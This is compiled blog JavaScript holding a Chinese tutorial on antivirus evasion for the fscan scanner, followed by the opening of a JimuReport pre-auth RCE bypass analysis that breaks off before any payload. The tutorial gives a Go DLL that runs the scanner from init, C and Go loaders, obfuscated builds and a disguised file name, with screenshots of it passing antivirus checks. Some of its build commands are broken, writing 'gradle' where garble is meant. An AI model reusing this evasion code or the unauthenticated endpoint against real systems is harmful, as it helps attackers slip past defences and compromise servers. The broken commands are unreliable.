strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2878],{28453:(n,e,l)=>{l.d(e,{R:()=>c,x:()=>i});var t=l(96540);const r={},s=t.createContext(r);function c(n){const e=t.useContext(s);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),t.createElement(s.Provider,{value:e},n.children)}},56575:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README","title":"fscan\u514d\u6740","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JS\u8fd8\u539f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/"},"next":{"title":"\u53bb\u7279\u5f81","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/"}}');var r=l(74848),s=l(28453);const c={},i="fscan\u514d\u6740",d={},a=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u8fc7\u7a0b",id:"\u8fc7\u7a0b",level:2},{value:"\u7ed3\u679c",id:"\u7ed3\u679c",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"fscan\u514d\u6740",children:"fscan\u514d\u6740"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:44"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"fscan\u514d\u6740-1",children:"fscan\u514d\u6740"}),"\n",(0,r.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u6b21\u5b66\u4e60\u514d\u6740\uff0c\u5229\u7528dll\u52ab\u6301\u7684\u65b9\u5f0f\uff0c\u5229\u7528\u5fae\u8f6f\u7684\u767d\u540d\u5355\u673a\u5236\uff0c\u5b9e\u73b0\u514d\u6740\u3002\u672c\u7ae0\u8282\u4ee3\u7801\u5df2\u540c\u6b65\u81f3github\uff0c\u9879\u76ee\u5730\u5740\uff1a ",(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/fscan",children:"fscan"})]}),"\n",(0,r.jsx)(e.h2,{id:"\u8fc7\u7a0b",children:"\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"\u51c6\u5907fscan\u7684\u6e90\u7801\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"git clone https://github.com/shadow1ng/fscan.git\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06fsacn\u7684\u6e90\u7801\u4e2d\u7684main.go\u6587\u4ef6\u4e2d\u7684main\u51fd\u6570\u5982\u4e0b\uff0c\u7531\u4e8e",(0,r.jsx)(e.code,{children:"init"}),"\u51fd\u6570\uff0c\u5728go\u8bed\u8a00\u4e2d\uff0c\u4e3a\u5305\u9996\u6b21\u8c03\u7528\u7684\u65f6\u5019\u4f1a\u88ab\u6267\u884c\uff1bGo \u7f16\u5199\u7684 DLL \u88ab C \u7a0b\u5e8f\u8c03\u7528\u65f6\uff0c",(0,r.jsx)(e.code,{children:"init"})," \u51fd\u6570\u4f1a\u5728 DLL \u52a0\u8f7d\u5230\u5185\u5b58\u65f6\u6267\u884c\uff0c\u800c ",(0,r.jsx)(e.code,{children:"main"})," \u51fd\u6570\u901a\u5e38\u4e0d\u9002\u7528\u4e8e DLL \u5e76\u4e14\u4e0d\u4f1a\u88ab\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "C"\n\nimport (\n "fmt"\n "time"\n\n "github.com/shadow1ng/fscan/Plugins"\n "github.com/shadow1ng/fscan/common"\n)\n\n//export DllCanUnloadNow\nfunc DllCanUnloadNow() {}\n\n//export DllGetClassObject\nfunc DllGetClassObject() {}\n\n//export DllRegisterServer\nfunc DllRegisterServer() {}\n\n//export DllUnregisterServer\nfunc DllUnregisterServer() {}\n\nfunc init() {\n start := time.Now()\n var Info common.HostInfo\n common.Flag(&Info)\n common.Parse(&Info)\n Plugins.Scan(Info)\n t := time.Now().Sub(start)\n fmt.Printf("[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: %s\\n", t)\n}\n\n\nfunc main(){}\n\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7f16\u8bd1 ",(0,r.jsx)(e.code,{children:"windows amd64"})," \u4e0b\u7684 ",(0,r.jsx)(e.code,{children:"dll"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sh",children:"GOOS=windows GOARCH=amd64 CGO_ENABLED=1\ngo build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u9009\u62e9 ",(0,r.jsx)(e.code,{children:"c"}),"\u548c",(0,r.jsx)(e.code,{children:"go"}),"\u52a0\u8f7d\u5668\uff0c",(0,r.jsx)(e.code,{children:"c"}),"\u52a0\u8f7d\u5668\u7684\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-c",children:'// gcc -o fscan_load fscan_load.c\n\n#include \n#include \n\nint main() {\n HMODULE hDLL;\n hDLL = LoadLibrary("fscan.dll");\n\n if (hDLL != NULL) {\n // \u5b9a\u4e49\u51fd\u6570\u6307\u9488\u7c7b\u578b\n typedef void (*FunctionType)();\n\n // \u4e3a\u6bcf\u4e2a\u5bfc\u51fa\u51fd\u6570\u521b\u5efa\u4e00\u4e2a\u51fd\u6570\u6307\u9488\n FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");\n FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");\n FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");\n FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");\n\n // \u8c03\u7528\u6bcf\u4e2a\u51fd\u6570\uff08\u5982\u679c\u51fd\u6570\u6307\u9488\u975e\u7a7a\uff09\n if (DllCanUnloadNow) DllCanUnloadNow();\n if (DllGetClassObject) DllGetClassObject();\n if (DllRegisterServer) DllRegisterServer();\n if (DllUnregisterServer) DllUnregisterServer();\n\n // \u5378\u8f7d DLL\n FreeLibrary(hDLL);\n printf("All functions executed successfully.\\n");\n }\n else {\n printf("Failed to load DLL.\\n");\n }\n\n return 0;\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7f16\u5199",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5668\uff0c",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5668\u7684\u4f5c\u7528\u662f\u5c06",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\uff0c\u7136\u540e\u8c03\u7528",(0,r.jsx)(e.code,{children:"dll"}),"\u4e2d\u7684",(0,r.jsx)(e.code,{children:"init"}),"\u51fd\u6570\uff0c\u5b9e\u73b0\u514d\u6740\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'// gradle build -o fscan_loader_go.exe main.go\npackage main\n\nimport (\n\t"fmt"\n\t"syscall"\n)\n\nfunc main() {\n\tdll, err := syscall.LoadLibrary("fscan_go.dll")\n\tif err != nil {\n\t\tfmt.Printf("[-] Failed to load DLL: %s\\n", err)\n\t\treturn\n\t}\n\n\tdefer func(handle syscall.Handle) {\n\t\terr := syscall.FreeLibrary(handle)\n\t\tif err != nil {\n\t\t\tfmt.Printf("[-] Failed to free DLL: %s\\n", err)\n\t\t}\n\t}(dll)\n\n\t// \u5b9a\u4e49\u5e76\u5c1d\u8bd5\u83b7\u53d6 DLL \u4e2d\u7684\u51fd\u6570\n\tdllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")\n\t// \u5224\u65aderr == nil \u5e76\u4e14 dllCanUnloadNow != 0\n\tif err == nil && dllCanUnloadNow != 0 {\n\t\t_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\\n", err)\n\t\t}\n\t}\n\n\tdllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")\n\tif err == nil && dllGetClassObject != 0 {\n\t\t_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllGetClassObject: %s\\n", err)\n\t\t}\n\t}\n\n\tdllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")\n\tif err == nil && dllRegisterServer != 0 {\n\t\t_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllRegisterServer: %s\\n", err)\n\t\t}\n\t}\n\n\tdllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")\n\tif err == nil && dllUnregisterServer != 0 {\n\t\t_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllUnregisterServer: %s\\n", err)\n\t\t}\n\t}\n\n\tfmt.Println("All functions executed successfully.")\n}\n\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528go\u8bed\u8a00\u7f16\u8bd1\u52a0\u8f7d\u5668\uff0c \u9700\u8981\u4f7f\u7528gradle\u8fdb\u884c\u6df7\u6dc6\uff0c\u9632\u6b62\u88ab\u6740\u8f6f\u67e5\u6740\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"go install mvdan.cc/garble@latest\nGOOS=windows GOARCH=amd64 CGO_ENABLED=1\ngradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06",(0,r.jsx)(e.code,{children:"fscan.dll"}),"\u548c",(0,r.jsx)(e.code,{children:"fscan_loader.exe"}),"\u653e\u5728\u540c\u4e00\u76ee\u5f55\u4e0b\uff0c\u8fd0\u884c",(0,r.jsx)(e.code,{children:"fscan_loader.exe"}),"\uff0c\u5373\u53ef\u5b9e\u73b0\u514d\u6740\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sh",children:"# \u6539\u4e2a\u540d\u5b57\nmv fscan_loader.exe system_dll.exe\n./system_dll.exe\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed3\u679c",children:"\u7ed3\u679c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u706b\u7ed2"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645168.png",alt:"image-20240113042901727"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5fae\u6b65\u4e91\u6c99\u7bb1"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645169.png",alt:"image-20240113044447895"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645170.png",alt:"image-20240113044504534"})}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://mp.weixin.qq.com/s/Yuk7Ev_JP8JAf_8uvIhdVw",children:"fscan\u514d\u6740"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://wjlin0.com/archives/1705092744971",children:"https://wjlin0.com/archives/1705092744971"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/fscan",children:"fscan"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/f95a6c25.ed48cc15.js b/en/assets/js/f95a6c25.ed48cc15.js new file mode 100644 index 0000000..21374d9 --- /dev/null +++ b/en/assets/js/f95a6c25.ed48cc15.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4704],{6723:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902170822314-2479d4b10d3166f57f3f4106450e5b09.png"},10031:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902161822367-eeff7f87862318c111ef4f2bca0ee87b.png"},17134:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902162958987-6b0f2de0175b1ee48779494dd00f2528.png"},21594:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171222468-3ce22a7b4787de4260505ba743e7a828.png"},28453:(e,n,r)=>{r.d(n,{R:()=>o,x:()=>c});var t=r(96540);const s={},i=t.createContext(s);function o(e){const n=t.useContext(i);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),t.createElement(i.Provider,{value:n},e.children)}},44644:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171015989-edde1f3e40c728620e546040df3ca6c6.png"},54066:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902161458266-dee0c3a94521f0e37d754a9726086f1a.png"},58061:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902162900466-ef44dc18a1dcaef5425315eb1dca2084.png"},58464:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README","title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"},"next":{"title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}}');var s=r(74848),i=r(28453);const o={},c="JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790",l={},d=[{value:"\u4e00\u3001\u6f0f\u6d1e\u540d\u79f0",id:"\u4e00\u6f0f\u6d1e\u540d\u79f0",level:2},{value:"\u4e8c\u3001\u6f0f\u6d1e\u63cf\u8ff0",id:"\u4e8c\u6f0f\u6d1e\u63cf\u8ff0",level:2},{value:"\u4e09\u3001\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",id:"\u4e09\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",level:2},{value:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce:",id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:3},{value:"\u56db\u3001\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",id:"\u56db\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",level:2},{value:"\u4e94\u3001\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",id:"\u4e94\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",level:2},{value:"1. \u51c6\u5907\u9a8c\u8bc1\u73af\u5883",id:"1-\u51c6\u5907\u9a8c\u8bc1\u73af\u5883",level:3},{value:"2. \u83b7\u53d6\u62a5\u8868 ID",id:"2-\u83b7\u53d6\u62a5\u8868-id",level:3},{value:"3. \u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",id:"3-\u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",level:3},{value:"4. \u8ba1\u7b97\u8bf7\u6c42\u5934",id:"4-\u8ba1\u7b97\u8bf7\u6c42\u5934",level:3},{value:"5. \u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",id:"5-\u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",level:3},{value:"6. \u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",id:"6-\u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",level:3},{value:"7.\u5199\u5165RCE",id:"7\u5199\u5165rce",level:3},{value:"\u516d\u3001\u6f0f\u6d1e\u5206\u6790\uff1a",id:"\u516d\u6f0f\u6d1e\u5206\u6790",level:2},{value:"1. \u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",id:"1-\u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",level:3},{value:"2. JimuReportAutoController \u6570\u636e\u6d41",id:"2-jimureportautocontroller-\u6570\u636e\u6d41",level:3},{value:"3. JimuReportSignatureInterceptor\uff1a\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",id:"3-jimureportsignatureinterceptor\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",level:3},{value:"4. JimuReportAutoServiceImpl\uff1a\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",id:"4-jimureportautoserviceimpl\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",level:3},{value:"5. PyExecHandler \u4e0e auto_export.py\uff1a\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",id:"5-pyexechandler-\u4e0e-auto_exportpy\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",level:3},{value:"6. \u6839\u56e0\u5b9a\u4f4d",id:"6-\u6839\u56e0\u5b9a\u4f4d",level:3},{value:"7. \u4fee\u590d\u5efa\u8bae",id:"7-\u4fee\u590d\u5efa\u8bae",level:3},{value:"\u4e03\u3001\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879\uff1a",id:"\u4e03\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"jimureport-\u81ea\u52a8\u5bfc\u51fa-python-\u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790",children:"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-09-02 17:17:50"})]})})]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e00\u6f0f\u6d1e\u540d\u79f0",children:"\u4e00\u3001\u6f0f\u6d1e\u540d\u79f0"}),"\n",(0,s.jsx)(n.p,{children:"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e"}),"\n",(0,s.jsx)(n.h2,{id:"\u4e8c\u6f0f\u6d1e\u63cf\u8ff0",children:"\u4e8c\u3001\u6f0f\u6d1e\u63cf\u8ff0"}),"\n",(0,s.jsxs)(n.p,{children:["JeecgBoot \u96c6\u6210\u7684 JimuReport \u5728\u81ea\u52a8\u5bfc\u51fa\u529f\u80fd\u4e2d\u5904\u7406 ",(0,s.jsx)(n.code,{children:"reportParams[].params"}),"\u3002\u5f53\u53c2\u6570\u503c\u4ee5 ",(0,s.jsx)(n.code,{children:"="})," \u5f00\u5934\u65f6\uff0c\u53c2\u6570\u4f1a\u8fdb\u5165\u62a5\u8868\u8868\u8fbe\u5f0f\u6c42\u503c\u6d41\u7a0b\uff1b\u5728\u53d7\u5f71\u54cd\u5b9e\u73b0\u4e2d\uff0c\u8868\u8fbe\u5f0f\u4e0a\u4e0b\u6587\u4ecd\u53ef\u8bbf\u95ee\u5185\u90e8\u6a21\u5757\u5bf9\u8c61\uff0c\u9020\u6210\u4efb\u610f\u6587\u4ef6\u5199\u5165\uff0c\u5e76\u53ef\u80fd\u8fdb\u4e00\u6b65\u7ec4\u5408\u8fdb\u7a0b\u542f\u52a8\u80fd\u529b\u5f62\u6210\u670d\u52a1\u5668\u7aef\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"GitHub Issue #9837 \u91cd\u70b9\u4fee\u590d\u7684\u662f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"POST /jmreport/auto/export\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8be5\u5165\u53e3\u539f\u672c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u53ef\u4ee5\u7ed5\u8fc7\u767b\u5f55\u8fdb\u5165\u81ea\u52a8\u5bfc\u51fa\u6d41\u7a0b\u3002\u4fee\u590d\u601d\u8def\u662f\u53bb\u9664\u8be5\u5165\u53e3\u7684\u514d\u767b\u5f55\u6807\u8bb0\uff0c\u5e76\u589e\u52a0\u89d2\u8272\u3001\u6743\u9650\u7ea6\u675f\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u672c\u6587\u5206\u6790\u7684\u7ed5\u8fc7\u8def\u5f84\u4e0d\u662f\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"}),"\uff0c\u800c\u662f\u540c\u4e00\u63a7\u5236\u5668\u4e2d\u4ecd\u7136\u5b58\u5728\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"POST /jmreport/auto/export/python/plugin\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u672c\u5730\u5206\u6790\u7684 JimuReport 2.5.1 \u7c7b\u6587\u4ef6\u663e\u793a\uff0c\u8be5\u65b9\u6cd5\u4ecd\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u540c\u65f6\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuSignature"}),"\u3002\u56e0\u6b64\uff0c\u8c03\u7528\u65b9\u4e0d\u9700\u8981\u5efa\u7acb\u6b63\u5e38\u767b\u5f55\u4f1a\u8bdd\uff0c\u53ea\u9700\u8981\u6309\u7167\u56fa\u5b9a\u7b7e\u540d\u89c4\u5219\u751f\u6210 ",(0,s.jsx)(n.code,{children:"X-TIMESTAMP"})," \u548c ",(0,s.jsx)(n.code,{children:"X-Sign"}),"\uff0c\u5373\u53ef\u7ee7\u7eed\u8fdb\u5165\u81ea\u52a8\u5bfc\u51fa\u670d\u52a1\u548c Python 